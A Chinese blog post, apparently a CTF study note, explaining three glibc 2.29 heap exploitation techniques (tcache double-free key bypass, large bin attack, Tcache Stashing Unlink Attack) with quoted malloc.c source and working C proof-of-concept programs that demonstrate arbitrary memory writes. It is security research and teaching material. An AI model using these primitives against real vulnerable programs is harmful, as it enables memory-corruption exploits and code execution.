libc.2.29漏洞利用及原理

博客地址
还是在csdn里访问方便点。

tcache poisoning

原理

在libc2.27中,由于对tcache缺少充分的检查,导致double frees横行,在libc2.29中对tcache添加了一些东西。
malloc.c->2904行

typedef struct tcache_entry
{
  struct tcache_entry *next;
  /* This field exists to detect double frees.  */
  struct tcache_perthread_struct *key;
} tcache_entry;

如源码,tcache结构体添加了一个key字段来防止double frees
在free函数中,
malloc.c->4189行

#if USE_TCACHE
  {
    size_t tc_idx = csize2tidx (size);
    if (tcache != NULL && tc_idx < mp_.tcache_bins)
      {
	/* Check to see if it's already in the tcache.  */
	tcache_entry *e = (tcache_entry *) chunk2mem (p);

	/* This test succeeds on double free.  However, we don't 100%
	   trust it (it also matches random payload data at a 1 in
	   2^<size_t> chance), so verify it's not an unlikely
	   coincidence before aborting.  */
	if (__glibc_unlikely (e->key == tcache))//如果要free的块的key与tcache相等
	  {
	    tcache_entry *tmp;
	    LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
	    for (tmp = tcache->entries[tc_idx];
		 tmp;
		 tmp = tmp->next)//循环所有key相等的块
	      if (tmp == e)//如果有块等于要free的块
		malloc_printerr ("free(): double free detected in tcache 2");//报错,double free
	    /* If we get here, it was a coincidence.  We've wasted a
	       few cycles, but don't abort.  */
	  }

	if (tcache->counts[tc_idx] < mp_.tcache_count)
	  {
	    tcache_put (p, tc_idx);
	    return;
	  }
      }
  }

利用思路

1.free一个chunk
2.能够修改已经free的chunk的key值
3.double free

poc代码

#include<stdio.h>
int main()
{
	size_t *ptr1,ptx;
	ptr1=malloc(0x100);
	free(ptr1); //free一个chunk
	sleep(0); //只是为了打断点,没别的用。
	ptx=ptr1[1];
	printf("prt1[1]=>0x%llx",ptx);
	ptr1[1]=ptx-8;//将chunk的key的值-8;
	free(ptr1);//测试
	sleep(0);
	return 0;
}

poc
实现了chunk重叠

large bin attack

原理

在libc.2.29中对于unsortbin的解链添加了验证链完整性的检查,让 unsortbin attack直接凉透透了。
将vistim插入large中时,发生漏洞,

	{
	  fwd = bck;
	  bck = bck->bk;

	  victim->fd_nextsize = fwd->fd;
	  victim->bk_nextsize = fwd->fd->bk_nextsize;
	  fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;//这一块进行了写操作,
		//把之前在large中的chunk->bk_nextsize->fd_nextsize赋值,这时没有监测完整
	}

测试poc

#include <stdio.h>
#include <stdlib.h>
 
size_t buf[0x10];
 
int main()
{
    size_t *ptr,*ptr2, *ptr3;
    setbuf(stdout, NULL);
 
    ptr = malloc(0x438);
    malloc(0x18);
    ptr2 = malloc(0x448);
    malloc(0x18);
    free(ptr);
    malloc(0x600);
    free(ptr2);
    ptr[2] = 0;
    ptr[3] = (size_t)&buf[0];
 
    printf("buf[4]:0x%lx\n", buf[4]);
    sleep(0);
    ptr3 = malloc(0x680);//or malloc(0x66);
    sleep(0);
    printf("buf[4]:0x%lx\n", buf[4]);
 
    return 0;
}

结果:

starssgo@ubuntu:~/ctf_study/large_bin_attack$ ./mode
buf[4]:0x0
buf[4]:0x555a004a66b0

使用条件

1.largebin中的chunk->fd_nextsize=0;
2.largebin中的chunk->bk_nextsize可控制;
3.unsortedbin里的chunk大于largebin,并且如果进入largebin,是同一个index。

Tcache Stashing Unlink Attack

利用条件

1.smallbin中可以控制大小为size块的bk指针
2.tcache中size块的个数为6
3.申请堆块是calloc

结果

bk指针的fd处被写入一个libc地址

原理

参考

扫描二维码关注公众号,回复: 10154469 查看本文章
#if USE_TCACHE //如果程序启用了Tcache
        /* While we're here, if we see other chunks of the same size,
        stash them in the tcache.  */
        //遍历整个smallbin,获取相同size的free chunk
        size_t tc_idx = csize2tidx (nb);
        if (tcache && tc_idx < mp_.tcache_bins)
        {
            mchunkptr tc_victim;
            /* While bin not empty and tcache not full, copy chunks over.  */
            //判定Tcache的size链表是否已满,并且取出smallbin的末尾Chunk。
            //验证取出的Chunk是否为Bin本身(Smallbin是否已空)
            while ( tcache->counts[tc_idx] < mp_.tcache_count
                   && (tc_victim = last (bin) ) != bin)
            {
                //如果成功获取了Chunk
                if (tc_victim != 0)
                {
                    // 获取 small bin 中倒数第二个 chunk 。
                    bck = tc_victim->bk;
                    //设置标志位
                    set_inuse_bit_at_offset (tc_victim, nb);
                    // 如果不是 main_arena,设置对应的标志
                    if (av != &main_arena)
                        set_non_main_arena (tc_victim);
                    //取出最后一个Chunk
                    bin->bk = bck;
                    bck->fd = bin;
                    //将其放入到Tcache中
                    tcache_put (tc_victim, tc_idx);
                }
            }
        }
#endif

测试poc

#include <stdio.h>
#include <stdlib.h>
 
size_t buf[0x10];

int main()
{
    size_t *ptr,*ptr2, *ptr3;
    for(int i=0;i<6;i++)
	{
	     ptr2=calloc(0xf8,sizeof(char));//将0x100 size的tcache个数变为6
	     ptr=calloc(0x400,sizeof(char));
	     free(ptr);
  	     free(ptr2);
	}
     ptr=calloc(0x400,sizeof(char));//填满0x400 size 的 tcache
    calloc(0x10,sizeof(char));
     ptr2=calloc(0x400,sizeof(char));
     free(ptr);
     ptr=calloc(0x400,sizeof(char));
     calloc(0x10,sizeof(char));
     free(ptr);
     calloc(0x300,sizeof(char));
     calloc(0x300,sizeof(char));//ptr[96]指向的chunk进入smallbin
     sleep(0);
     free(ptr2);
     calloc(0x300,sizeof(char));
     calloc(0x300,sizeof(char)); //ptr2[96]指向的chunk进入smallbin
    ptr2[99]=&buf[0];// 更改chunk的bk为buf
      printf("buf[2]=>0x%llx\n",buf[2]);
    calloc(0xf8,sizeof(char)); //申请,触发unlink
     printf("buf[2]=>0x%llx\n",buf[2]);//buf->fd=一个libc地址
     sleep(0);
    return 0;
}

测试结果

starssgo@ubuntu:~/ctf_study/Tcache_Stashing_Unlink_Attack$ ./mode
buf[2]=>0x0
buf[2]=>0x7fc97b6d1d90

总结

无意间发现的large bin attack在libc.2.30里已经失效,但是Tcache Stashing Unlink Attack还可以用,所以这个洞对于使用calloc来申请内存的程序是一个挺大的威胁,本应该更加安全的做法却让程序变得更加危险,所以这个洞虽然使用条件很苛刻,但却不容忽视。

发布了3 篇原创文章 · 获赞 3 · 访问量 1142

猜你喜欢

转载自blog.csdn.net/qq_43116977/article/details/105065189